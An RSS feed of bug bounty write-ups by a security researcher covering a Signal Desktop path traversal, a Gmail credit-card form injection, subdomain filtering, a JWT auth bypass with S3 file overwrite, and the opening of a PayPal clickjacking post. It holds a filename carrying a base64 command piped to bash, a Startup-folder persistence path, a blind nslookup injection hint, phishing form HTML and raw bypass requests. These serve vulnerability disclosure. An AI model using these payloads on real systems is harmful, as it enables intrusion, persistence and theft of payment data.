<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by h4x0r_dz on Medium]]></title>
        <description><![CDATA[Stories by h4x0r_dz on Medium]]></description>
        <link>https://medium.com/@h4x0r_dz?source=rss-ddfff40fe2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*nM2htTgvjIibBRwcfh8tsg.jpeg</url>
            <title>Stories by h4x0r_dz on Medium</title>
            <link>https://medium.com/@h4x0r_dz?source=rss-ddfff40fe2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 03:24:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@h4x0r_dz/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Signal Desktop Path Traversal vulnerability in Attachment Saving]]></title>
            <link>https://medium.com/@h4x0r_dz/signal-desktop-path-traversal-vulnerability-in-attachment-saving-e9de7806767e?source=rss-ddfff40fe2------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9de7806767e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[signal]]></category>
            <dc:creator><![CDATA[h4x0r_dz]]></dc:creator>
            <pubDate>Wed, 05 Nov 2025 12:06:15 GMT</pubDate>
            <atom:updated>2025-11-05T21:13:58.696Z</atom:updated>
            <content:encoded><![CDATA[<h3>summary</h3><p>I found a path-traversal bug in Signal Desktop’s attachment save feature. The app uses the attachment’s fileName from the message without cleaning or checking it. Because of this, an attacker can craft a filename that points outside the user’s chosen folder (for example, to the Windows Startup folder). When the user saves the attachment, Signal may write the file to that outside location. This lets an attacker drop files where the system or user will run them later, which can lead to remote code execution.</p><p>Whenever you test chat apps, the first thing to check is file handling.</p><p>When I saw <a href="https://x.com/vulnano">Dzmitry Lukyanenko’s</a> write-up about <a href="https://www.vulnano.com/2025/09/remote-code-execution-though.html">Remote Code Execution in Facebook Messenger for Windows</a>, I started testing other desktop apps to see what I could find.</p><p>To my surprise, many desktop apps were vulnerable.</p><p>I spent most of my time on WhatsApp for Windows. I learned that when you install an app from the Microsoft Store, it runs inside Windows AppContainers.</p><p><strong>What is AppContainer isolation?</strong></p><blockquote>Isolation is the main goal of an AppContainer environment. By separating an app from unneeded resources and other apps, we reduce the chance of malicious actions. Giving only least-privilege access prevents apps and users from reaching resources they should not use. Controlling access to resources helps protect the process, the device, and the network.</blockquote><p>Read more: <a href="https://learn.microsoft.com/en-us/windows/win32/secauthz/appcontainer-isolation">https://learn.microsoft.com/en-us/windows/win32/secauthz/appcontainer-isolation</a></p><p>I wanted to find a 0-day in AppContainer isolation so I could exploit a path traversal in WhatsApp.</p><p>Yes — I found a path traversal in WhatsApp for Windows!</p><p>But it was not exploitable. :(</p><p>I wrote a small C program to create filenames that look malicious using <strong>syscall() </strong>:</p><pre>#include &lt;fcntl.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;sys/syscall.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;errno.h&gt;<br><br>int main() {<br>    const char *filename = &quot;poc.txt`{echo,ZWNobyAieW91IGhhdmUgcHduZWQgWytdISAi}|{base64,-d}|bash`&quot;;<br>    int fd;<br><br>    printf(&quot;[*] Target filename: %s\n&quot;, filename);<br><br>    // Call syscall directly<br>    printf(&quot;[*] Calling syscall(SYS_openat)...\n&quot;);<br>    fd = syscall(SYS_openat, AT_FDCWD, filename,<br>                 O_CREAT | O_WRONLY, 0644);<br><br>    if (fd &lt; 0) {<br>        printf(&quot;[!] Failed to create file: %s\n&quot;, strerror(errno));<br>        return 1;<br>    }<br><br>    printf(&quot;[+] File created successfully! fd=%d\n&quot;, fd);<br><br>    const char *data = &quot;h4x0r_dz\n&quot;;<br>    ssize_t written = write(fd, data, strlen(data));<br>    if (written &lt; 0) {<br>        printf(&quot;[!] Failed to write to file: %s\n&quot;, strerror(errno));<br>        close(fd);<br>        return 1;<br>    }<br><br>    printf(&quot;[+] Wrote %zd bytes to file.\n&quot;, written);<br><br>    if (close(fd) &lt; 0) {<br>        printf(&quot;[!] Failed to close file: %s\n&quot;, strerror(errno));<br>        return 1;<br>    }<br><br>    printf(&quot;[+] File closed successfully.\n&quot;);<br>    printf(&quot;[*] Done.\n&quot;);<br><br>    return 0;<br>}</pre><p><a href="https://github.com/h4x0r-dz/createfiles">https://github.com/h4x0r-dz/createfiles</a></p><p>Useful to test how the system handles file names; sometimes you can even find command injection</p><p>I used this widely in common attacks, like the recent WinRAR 0-day <br> <br>As a web pentester, you can use this attack like the blind xss, you inject a malicious command like <strong>nslookup myhost.com</strong> in the file name and wait for the execution.</p><p>an real-world example : <a href="https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/">Palo Alto PAN‑OS GlobalProtect: CVE‑2024‑3400 — arbitrary file creation → command injection/RCE</a></p><p><strong>Here is the report that has been sent to the signal security team (I re-wrote it via AI xD ):</strong></p><h3>Signal Desktop — Path Traversal in Attachment Saving</h3><h3>Executive summary</h3><p>I found a path-traversal bug in Signal Desktop’s attachment save flow.<br> An attacker can control the attachment filename so that when a user saves the file, Signal writes it outside the chosen folder — for example into Windows startup folders. That lets an attacker drop files that might run automatically on the next login, which can lead to remote code execution.</p><h3>Root cause</h3><p>The app trusts attachment.fileName too much. The filename from the message is used directly when choosing the name and building the path. There is no normalization or check to make sure the final path stays inside the user’s save folder.</p><h3>Where it happens (quick flow)</h3><h3>1) Unsafe filename selection — ts/types/Attachment.js</h3><p>getSuggestedFilename() Returns the file name straight from attachment.fileName:</p><pre>const getSuggestedFilename = (attachment, timestamp, index, scenario = &#39;saving-locally&#39;) =&gt; {<br>  const { fileName } = attachment;<br>  if (fileName) {<br>    return fileName;  // returns untrusted input directly<br>  }<br>  // fallback logic...<br>};</pre><p>Problem: No sanitization. A filename can contain ../, ..\\, or be an absolute path.</p><h3>2) Unsafe path construction — ts/windows/main/attachments.js</h3><p>The code joins baseDir and name without checking the result:</p><pre>filePath = path.join(baseDir, name);  // no check that filePath stays inside baseDir<br>await writeWithAttributes(filePath, data);</pre><p>Problem: If name is attacker-controlled, path.join can produce a path outside baseDir.</p><h3>3) Filesystem checks on untrusted names</h3><p>getUnusedFilename() checks existence with path.join(baseDir, filename):</p><pre>if (baseDir === null || !fs.existsSync(path.join(baseDir, filename))) {<br>  return filename;<br>}<br>...<br>if (!fs.existsSync(path.join(baseDir, nextFilename))) {<br>  return nextFilename;<br>}</pre><p>Problem: These checks use paths built from untrusted input and can end up checking or revealing files outside the intended folder.</p><h3>4) Weak dangerous-file filter</h3><p>isFileDangerous() only checks the extension:</p><pre>return DANGEROUS_FILE_TYPES.test(fileName);  // extension-only check</pre><p>Problem: The filter ignores the path. An attacker can use a harmless extension while pointing to a dangerous location.</p><h3>Example attack — Windows startup persistence</h3><p><strong>Attacker filename example:</strong></p><pre>C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pwn.txt</pre><p><strong>Attack steps:</strong></p><ol><li>The attacker sends an attachment with that fileName.</li><li>The victim clicks “Save” in Signal Desktop.</li><li>Signal builds path.join(baseDir, name) and writes the file without checking that the final path is inside baseDir.</li><li>The file ends up in the Startup folder and may be picked up on next login, enabling code execution.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J9xI7h2iOk1rd5sj7MGxbw.png" /></figure><h3>Impact</h3><ul><li>An attacker can place files anywhere the process can write.</li><li>This can be used to persist code, drop scripts, or otherwise escalate from a message to code execution if the dropped file is picked up by the system.</li></ul><p>Why is it exploitable in Signal and not in WhatsApp?</p><blockquote>Signal does not work in AppContainer isolation like WhatsApp!</blockquote><p><strong>The signal security team has patched the vulnerability very quickly after receiving the report.</strong></p><p>And they acknowledged my finding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-ouNyP5ed5R9__Fytf5XTA.png" /></figure><p>Best .</p><p>h4x0r_dz</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9de7806767e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTML Form Injection Vulnerability in Gmail]]></title>
            <link>https://medium.com/@h4x0r_dz/html-form-injection-vulnerability-in-gmail-152a01f6d423?source=rss-ddfff40fe2------2</link>
            <guid isPermaLink="false">https://medium.com/p/152a01f6d423</guid>
            <category><![CDATA[google]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[h4x0r_dz]]></dc:creator>
            <pubDate>Mon, 02 Sep 2024 17:07:39 GMT</pubDate>
            <atom:updated>2024-09-02T17:07:39.786Z</atom:updated>
            <content:encoded><![CDATA[<p>Did you know that Gmail allows the use of the <strong>&lt;form&gt;</strong> HTML tag? This feature presents a potential security risk, especially when attempting to steal user credentials or sensitive information.</p><p>If an attacker tries to capture a user’s password by embedding an HTML form in an email, like the one below:</p><pre>&lt;form action=&quot;https://httpbin.org/post&quot; method=&quot;POST&quot;&gt;<br>    &lt;input type=&quot;email&quot; name=&quot;email&quot; placeholder=&quot;Email or phone&quot; required&gt;<br>    &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot; required&gt;<br>    &lt;input type=&quot;submit&quot; value=&quot;Next&quot;&gt;<br>&lt;/form&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqUiQZWS4fOivitZMaQahg.png" /></figure><p>The email recipient will see the form rendered within the email. However, Gmail displays a warning message, “Be careful with this message,” and disables autofill, making it less likely for a user to inadvertently submit their credentials.</p><h3>Exploiting the Issue with Credit Card Autofill</h3><p>Gmail does not apply the same strict measures to forms requesting credit card details. If an attacker sends an email with a form designed to collect credit card information, the autofill feature remains enabled by default. Google seems to treat credit card details as less sensitive than passwords, which presents a significant security risk.</p><p>Here’s how to reproduce the issue:</p><ol><li>In Google Chrome, navigate to `chrome://settings/payments`.<br>2. Under Payment methods, add a fake credit card.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E4qJxPMOTvqkuSaaOlg8SQ.png" /></figure><p>3. As an attacker, send the following HTML form:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;<br>    &lt;title&gt;Credit Card Payment&lt;/title&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;div class=&quot;payment-container&quot;&gt;<br>        &lt;h2&gt;Credit Card Payment&lt;/h2&gt;<br>        &lt;form action=&quot;https://httpbin.org/post&quot; method=&quot;POST&quot;&gt;<br>            &lt;label for=&quot;cardholder-name&quot;&gt;Cardholder Name&lt;/label&gt;<br>            &lt;input type=&quot;text&quot; id=&quot;cardholder-name&quot; name=&quot;cardholder_name&quot; placeholder=&quot;John Doe&quot; required&gt;<br>            <br>            &lt;label for=&quot;card-number&quot;&gt;Card Number&lt;/label&gt;<br>            &lt;input type=&quot;number&quot; id=&quot;card-number&quot; name=&quot;card_number&quot; placeholder=&quot;1234 5678 9012 3456&quot; required&gt;<br>            <br>            &lt;label for=&quot;expiry-date&quot;&gt;Expiration Date&lt;/label&gt;<br>            &lt;input type=&quot;text&quot; id=&quot;expiry-date&quot; name=&quot;expiry_date&quot; placeholder=&quot;MM/YY&quot; required&gt;<br>            <br>            &lt;label for=&quot;cvv&quot;&gt;CVV&lt;/label&gt;<br>            &lt;input type=&quot;number&quot; id=&quot;cvv&quot; name=&quot;cvv&quot; placeholder=&quot;123&quot; required&gt;<br>            <br>            &lt;input type=&quot;submit&quot; value=&quot;Pay Now&quot;&gt;<br>        &lt;/form&gt;<br>    &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>4. When the victim opens the email, they will see the form, and autofill will be allowed, leading to the unintended disclosure of their credit card information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xnMzLI4IvvfjMQXN8Cf8ag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9Kw9cgNdOT5WGeh3DKicQ.png" /></figure><h4>Google’s Response</h4><p>Google has stated that this is not considered a security issue.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=152a01f6d423" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Get Unique Subdomains on Large scope]]></title>
            <link>https://medium.com/@h4x0r_dz/the-right-way-to-get-unique-subdomains-on-large-scope-899f834e702c?source=rss-ddfff40fe2------2</link>
            <guid isPermaLink="false">https://medium.com/p/899f834e702c</guid>
            <category><![CDATA[subdomain]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[h4x0r_dz]]></dc:creator>
            <pubDate>Thu, 17 Aug 2023 07:04:18 GMT</pubDate>
            <atom:updated>2023-08-17T07:08:45.260Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>how to Get The Uniq Subdomains on a big Subdomains list. to print unique ones only</strong></p><p>this writeup will be a short one forry about that xD, during My hunting on big companies such as Facebook, google, amazon …etc, and In the subdomain enumeration step, I found that I get so many same subdomains.</p><p>for example :</p><pre>https://test.facebook.com <br>https://test02.facebook.com<br>https://test03.facebook.com</pre><p>these subdomains have the same web application, and it is a long journey to visit and check all these subdomains one by one, (and it worth nothing ).</p><p>so instead we can use a trick to filter similar subdomains. and print only unique one , this can be done using <a href="https://github.com/projectdiscovery/httpx">httpx </a>and awk built-in tool</p><p>I’m going to use twitter.com as an example :</p><h3>subdomain enumeration</h3><p>the first step as expected is to extract the subdomains, we are going to enumerate all the subdomains and save them in a Text file.</p><p>you can use your favorite for subdomain enumeration, and save the result in text file :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*bDBwqhimdNqUU9nMrRuTyg.png" /></figure><h4>httpx to enumerate live subdomains</h4><p>now we are going to use httpx tool with these options :</p><h4>now we are going to use httpx tool with these options :</h4><pre>httpx -l subdomains.txt -sc -title -cl -wc -td | tee httpx2.txt</pre><p><strong>-l subdomains.txt</strong>: This flag specifies the input source for subdomains.<br><strong>-sc</strong>: This flag likely stands for “status code.” <br><strong>-title</strong>: This flag instructs the tool to extract and display the titles<br><strong>-cl</strong>: This flag stands for “content length.”<br><strong>-wc</strong>: This flag stands for “word count.”<br><strong>-td</strong>: display technology in use based on wappalyzer dataset<br><strong>| tee httpx2.txt</strong>: This part of the command is using the tee command, which is used to capture the standard output (stdout) of the preceding command and write it to a file. In this case, the output of the httpx command is being captured and written to a file named httpx2.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*hTsYe29KsvW0Hudh9Tpuhw.png" /></figure><p>as you can see, there are so many subdomains has the same HTTP status code &amp; Title &amp; content length.</p><h4>awk to filter the duplicate subdomains</h4><p>now after getting the (maybe the same web application on different subdomains ) on our text list , we need to filter theme and print only the unique ones and doing our pen-testing on them . to do this we need to use a tool called awk</p><p>to do this we need to use a tool called awk</p><p>we need to filter the list of subdomains based on <strong>status code</strong> &amp; co<strong>ntent length</strong> ….</p><p>full command</p><pre>└─# cat httpx2.txt | awk -F&quot;[&quot; &#39;!seen[$2, $3, $4, $5]++&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*sGFWiYGip-zItgfSqQ-9_w.png" /></figure><ul><li><strong>F’[‘:</strong> This flag sets the field separator for awk as an opening square bracket [. This means that awk will split input lines into fields based on the specified separator.</li></ul><p><strong>-F’[‘:</strong> This flag sets the field separator for awk as an opening square bracket [. This means that awk will split input lines into fields based on the specified separator.</p><p><strong>‘!seen[$2, $3, $4, $5]++’:</strong> This is the awk script that defines the processing to be applied to each input line.</p><p>this method is not working properly, but it still works fine on the large scope for me xD.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=899f834e702c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[23000$ for Authentication Bypass & File Upload & Arbitrary File Overwrite]]></title>
            <link>https://medium.com/@h4x0r_dz/23000-for-authentication-bypass-file-upload-arbitrary-file-overwrite-2578b730a5f8?source=rss-ddfff40fe2------2</link>
            <guid isPermaLink="false">https://medium.com/p/2578b730a5f8</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[h4x0r_dz]]></dc:creator>
            <pubDate>Wed, 19 Oct 2022 16:58:10 GMT</pubDate>
            <atom:updated>2022-10-19T18:22:23.900Z</atom:updated>
            <content:encoded><![CDATA[<h4>How I found Authentication Bypass &gt;&gt; File upload vulnerability &gt;&gt; Arbitrary File Overwrite and how I managed I found the path of the file after the upload !!!!</h4><p>Hello Awesome Hackers, I hope you all doing well!</p><p>My name is <strong>Souhaib Naceri</strong> Or h4x0r_dz Algerian Ethical Hacker.</p><p>today I’m sharing a vulnerability that I found a while ago, which I believe is quite interesting.</p><p>but I’m not going to share the bug bounty program name &amp; domain name ..etc, because I didn’t get permission to disclose it.</p><p>so let’s assume the target is test.com</p><p>when I started hunting on the program, I found the admin panel UI bypass</p><p>the target uses <strong>JSON Web Token (JWT)</strong> for the authentication mechanism, and I have put A bit of time into order to understand, trying to find bugs on the bug bounty targets that use JSON Web Token (JWT) .</p><p>when you log in to the main website test.comA <strong>JSON Web Token (JWT) </strong>will be generated for the regular user,</p><p>now After I know how the target work, I started doing recon. reading javascript files, running Burp Suite, and clicking on any bottom in the website &amp; also I used Wayback Machine to get all the possible endpoints, and finally subdomain enumeration.</p><p>I found The interesting subdomain <strong>admin.test.com</strong> and now we have come to the interesting part, the admin panel exposes the js file app.js and after I read the whole file 200000 lines of code, I found it uses the <strong>JSON Web Token (JWT) for </strong>authentication, and I found a list of realm.</p><p>but the interesting realm was <strong>test-dashboard</strong></p><h4>what is realm?</h4><p>The “realm” authentication parameter is reserved for use by<br>authentication schemes that wish to indicate a scope of protection. <br>A protection space is defined by the canonical root URI (the scheme<br>and authority components of the effective request URI;</p><p>more info here: <a href="https://www.rfc-editor.org/rfc/rfc7235#section-2.2">https://www.rfc-editor.org/rfc/rfc7235#section-2.2</a></p><p>I used <a href="https://jwt.io/">https://jwt.io/</a> to decode the user Token, and there is a realm=test-user</p><p>now I know if I am able to manipulate the realm to <strong>test-dashboard</strong> I will be able to login to the admin panel, just a feeling.</p><blockquote>the <strong>test-dashboard is the website name instead of the test, it was like : target-dashboard</strong></blockquote><p>### steps :</p><ol><li>go to https://test.com/</li><li>make internet on</li><li>login to your account and change the realm to test-dashboard in the post request : https://test.com.com/api/v1/login</li></ol><h4>HTTP request</h4><pre>POST /api/v1/login HTTP/1.1<br>Host: accounts.test.com<br>Connection: close<br>Content-Length: 79<br>Accept: */*<br>Content-Type: application/json</pre><pre>{“email”:”<a href="/service/mailto:youremail@gmail.com">youremail@gmail.com</a>”,”password”:”&lt;password&gt;”,”realm”:”test-dashboard”}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fa470bL0h27sRWv-F6mY6g.jpeg" /></figure><p>if you decode the <strong>jwt </strong>you can see the realm has been changed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W78UJWg6I5sE1IsHMnyu_A.jpeg" /></figure><p>now using the manipulated JWT token I’m able to login to the admin panel.</p><p>I reported this bug immediately, but this was the expected response from the bug bounty program :</p><blockquote>We discussed this with the devs and they said that the admin dashboard you’ve got access to is just a react application that gets rendered client-side (the kind of pages that only need public info to be rendered) and not much else since the actual API is a separate application with endpoints that require a valid auth token with specific scopes. So, unless you can craft a token that will let you interact with the API, we will be lowering the severity of the issue.</blockquote><p>test-staff updated the severity from Critical to Medium</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNtNGWTEOKwUK0UdXAE2yw.png" /></figure><p>I almost gave up, but I decided to continue digging deeper.</p><p>I agree with the Team, to consider the bug critical I need to miniplate the scope in the <strong>JSON Web Token (JWT) .</strong></p><p>but this is impossible, I need to find 0day and JWT mechanism and any website uses <strong>JSON Web Token (JWT) will be vulnerable.</strong></p><p>But I’m crazy enough because I start looking for something similar .</p><p>since I can control the realm and generate valid JWT, I tried every payload to manipulate the scope, but nothing worked for me and didn’t able to do the escape that I want .</p><p>I started doing content discovery using <a href="https://github.com/ffuf/ffuf">ffuf </a>against admin.test.com but Unfortunately, I didn’t find any valid endpoint,</p><p>by default <strong>ffuf </strong>uses the GET HTTP Method, so I Gave a try to the POST Method. and I found this endpoint <a href="https://admin.test.com/upload">https://admin.test.com/upload</a> return 403, it is quite interesting because I found this endpoint in the app.js file.</p><p>now, what if I am able to upload a web shell? I got excited</p><p>after I spend hours reading the javascript file, I was able to build the file upload request:</p><pre>POST /upload HTTP/1.1<br>Host: admin.test.com<br>Connection: close<br>Content-Length: 300<br>Accept: application/json, text/plain, */*<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx<br>Authorization: Bearer &lt;JWT&gt;<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36</pre><pre>------WebKitFormBoundarypxxxxxx<br>Content-Disposition: form-data; name=&quot;destination&quot;</pre><pre>gallery/<br>------WebKitFormBoundarypxxxxxx<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;poc.txt&quot;<br>Content-Type: Text/plain</pre><pre>h4x0r-dz POC <br>------WebKitFormBoundarypxxxxxx--</pre><p>but I got a 401 HTTP error :( . Even after I manipulate the realm In JWT</p><h3>Authentication Bypass</h3><p>do you know what is Fuzzing ?</p><p>if your answer is NO then you miss so many bugs behind you !</p><p><em>Fuzz testing</em> or <em>Fuzzing</em> is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.</p><p>more information: <a href="https://owasp.org/www-community/Fuzzing">Fuzzing — OWASP Foundation</a></p><p>I start Fuzzing the Authorization: Bearer &lt;JWT&gt;</p><p>and finally, I saw 200 responses :) .</p><h4>steps</h4><ol><li>go to test.com</li><li>login to your account .</li><li>grep the Authorization header</li></ol><p>the issue here is when you delete Bearer from the <strong>Authorization </strong>header You will be able to authenticate in https://admin.test.com. and you will be able to have the admin permission</p><p>send this request to upload the file</p><pre>POST /upload HTTP/1.1<br>Host: admin.test.com<br>Connection: close<br>Content-Length: 300<br>Accept: application/json, text/plain, */*<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx<br>Authorization: &lt;JWT&gt;<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36</pre><pre>------WebKitFormBoundarypxxxxxx<br>Content-Disposition: form-data; name=&quot;destination&quot;</pre><pre>gallery/<br>------WebKitFormBoundarypxxxxxx<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;poc.txt&quot;<br>Content-Type: Text/plain</pre><pre>h4x0r-dz POC <br>------WebKitFormBoundarypxxxxxx--</pre><p>I go 200 responses with massage uploaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*22L3oVOIU0FZEafzc3922A.jpeg" /></figure><p>now where I can find the path of my file ??</p><p>At first, I thought it is the end, there is no way to know where my file was stored.</p><p>I tried the content discovery using ffuf against all the subdomains trying to find something like admin.test.com/uploads/poc.txt</p><p>but I didn’t find anything, I start looking into my burp history and reading the response, and I found this href=https://xxxxxxxx.cloudfront.net/gallery/xxxxxxxxx</p><p>hmmm, the gallery is the same value at my file upload request at <strong>destination input.</strong></p><p>I browsed https://XXXXXXXXX.cloudfront.net/gallery/poc.txt</p><p>and I found my file is there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1zuIixaTksskEFWE_-4vnQ.jpeg" /></figure><h4>but what is CloudFront ?</h4><p>Amazon CloudFront is a content delivery network operated by Amazon Web Services. Content delivery networks provide a globally-distributed network of proxy servers that cache content, such as web videos or other bulky media, more locally to consumers, thus improving access speed for downloading the content.</p><p>so I can’t upload web shell :( .</p><p>even if I report this file upload now, The severity will be very low. again I need to dig deep.</p><h3>Arbitrary File Overwrite</h3><p>by default <strong>Amazon S3</strong> is vulnerable to Misconfiguration <strong>Arbitrary File Overwrite</strong> if you upload file.txt <strong>Amazon S3</strong>.</p><p>now I have Arbitrary File Overwrite, Now I can do so many things I found that <strong>xxxxxxxx.cloudfront.net</strong> was used in the main website to host javascript and HTML and other files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*4ktbWIsxkHJvp2vMmQbDzw.jpeg" /></figure><p>so many files are hosted in <strong>xxxxxxxx.cloudfront.net</strong> , and as an attacker, I can change the content of the files and managed to get stored XSS and other security issues in the main domain, because they used xxxxxxxx.cloudfront.net to host windows software and pdfs, where the user can download, it is a part of the main website,</p><p>so I can change the content of these files and gain RCE on the user’s computers by putting malicious codes in the existing EXE or pdf files CSS …etc</p><h3>steps</h3><p>the attacker can change other files’ content. the destination parameter in the request body Specify the file path, so I can change any file</p><p>first POC file :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1zuIixaTksskEFWE_-4vnQ.jpeg" /></figure><p>We could not verify the vulnerability from the browser due to the cache, so you can CURL</p><p>now after I changed the content of the file poc.txt via this requset :</p><pre>POST /upload HTTP/1.1<br>Host: admin.test.com<br>Connection: close<br>Content-Length: 300<br>Accept: application/json, text/plain, */*<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxx<br>Authorization: &lt;JWT&gt;<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36</pre><pre>------WebKitFormBoundarypxxxxxx<br>Content-Disposition: form-data; name=&quot;destination&quot;</pre><pre>gallery/<br>------WebKitFormBoundarypxxxxxx<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;poc.txt&quot;<br>Content-Type: Text/plain</pre><pre>Arbitrary File Overwrite <br>------WebKitFormBoundarypxxxxxx--</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*JwFUtiKf163v-SFrlwV2HQ.jpeg" /></figure><p>as you can see in my terminal, I was able to over write the existing file.</p><h3><strong>team response</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iz7xxRVtl9LhvFPTF8T15A.jpeg" /></figure><p>I got 20k for this vulnerability</p><p>also, I got $3,000 for UI admin panel access, 23000$ in total</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BBnjKZTnzpt-IB_1EnbMww.jpeg" /></figure><p>I hope you learned something new Today, and I’m Really sorry If my write-up was not clear, or if I’m talking too much.</p><p>Best regards,</p><p><a href="https://twitter.com/h4x0r_dz">h4x0r_dz</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2578b730a5f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnerability In PayPal worth 200000$ bounty, Attacker can Steal Your Balance by One-Click]]></title>
            <link>https://medium.com/@h4x0r_dz/vulnerability-in-paypal-worth-200000-bounty-attacker-can-steal-your-balance-by-one-click-2b358c1607cc?source=rss-ddfff40fe2------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b358c1607cc</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[still]]></category>
            <category><![CDATA[paypal]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[h4x0r_dz]]></dc:creator>
            <pubDate>Sun, 22 May 2022 09:32:36 GMT</pubDate>
            <atom:updated>2022-06-19T14:22:58.148Z</atom:updated>
            <content:encoded><![CDATA[<p>what if I told you that: A black Hat hacker can steal your money from your bank account &amp; credit card or PayPal balance with one click from you. It looks interesting, doesn’t it? in this write-up, I will show you how I Found Low vulnerability on PayPal, But impactful :).</p><h3>summary</h3><p>7 months ago I reported a security issue to PayPal bug bounty program where the attacker can steal users&#39; money by exploiting Clickjacking,</p><p>Clickjacking, also known as a “UI redress attack”, is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page. Thus, the attacker is “hijacking” clicks meant for their page and routing them to another page, most likely owned by another application, domain, or both. <strong>reference</strong>: <a href="https://owasp.org/www-community/attacks/Clickjacking">https://owasp.org/www-community/attacks/Clickjacking</a></p><p>I found that an attacker can steal money from Paypal accounts. an old issue: Clickjacking on <a href="https://www.paypal.com/agreements/approve"><strong>https://www.paypal.com/agreements/approve</strong></a> closed as N/A years ago, and no one was able to successfully exploit it, (I guess ).</p><p>this endpoint is designed for Billing Agreements and it 